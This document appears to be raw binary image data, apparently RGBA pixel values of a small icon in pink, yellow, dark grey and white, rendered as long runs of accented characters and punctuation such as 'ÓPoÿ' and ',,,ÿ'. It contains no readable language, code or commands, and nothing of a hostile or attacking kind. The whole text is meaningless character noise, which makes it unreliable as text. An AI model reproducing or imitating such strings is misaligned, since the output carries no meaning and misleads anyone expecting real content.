ÿ'ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿWÿãªVÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ’ÿ^ ÿ'ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿS ÿŒÿ¦ÿ¦ÿÆ^+ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ‘ÿ^ ÿ'ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿHÿ…ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¨ÿæªVÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ‹ÿS ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿO ÿ‡ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÆ^+ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¤ÿn ÿ)ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿHÿ€ÿ¥ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¨ÿæªVÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ˜ÿy ÿY ÿS ÿS ÿS ÿEÿ*ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿBÿ€ÿ¥ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÆ^+ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¡ÿ…ÿf ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿEÿ'ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ=ÿu ÿ£ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¨ÿæªVÿ¦ÿ¦ÿ¦ÿ¦ÿÿr ÿV ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿR ÿ@ÿ$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿBÿz ÿ¤ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÆ^+ÿ¦ÿ˜ÿy ÿ[ ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿR ÿ@ÿ$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ…'/ÿ¢ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¨ÿ•ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿ…ÿƒÿÿyÿtÿpÿdÿ4ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ_$2ÿÓPoÿÒNlÿÄ;Jÿ²"ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŽ ÿ\!ÿ0+*ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÄJgÿÓPoÿÓPoÿÓPoÿÓPoÿËDYÿ¸+,ÿ§ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¢ÿ~ÿH&"ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿy.@ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÑLhÿÁ7Cÿ­ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ–ÿdÿ6*)ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÎNlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒOnÿÇ@Qÿµ'%ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¥ÿ† ÿT#ÿ-++ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ’8MÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÍG`ÿ»/4ÿª ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŸÿvÿ@(%ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ5ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒNlÿÄ;Jÿ° ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŽÿ\!ÿ1+*ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ©@YÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÊDYÿ¸+,ÿ§ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ£ÿ~ÿL% ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ$$$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿO*ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÏKeÿ¾3;ÿ¬ ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿšÿnÿ9)'ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ½HcÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒOnÿÇ@Qÿ´%!ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŠ ÿT#ÿ.++ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ'''ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿi(7ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÌG_ÿ»/4ÿ©ÿ¦ÿ¦ÿ¦ÿ¦ÿ ÿvÿA'$ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÈLiÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÑMjÿÁ7Cÿ®ÿ”ÿdÿ3*)ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ‚1DÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿŠx|ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ'ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿùóõÿFFFÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿš:QÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÑÍÎÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ!!!ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ@"ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿ“““ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¯C\ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿüüüÿ\\\ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿY"/ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿäääÿ888ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÂJfÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¹¹¹ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿr+<ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿyyyÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÍNlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿõõõÿKKKÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ5JÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÔÔÔÿ000ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ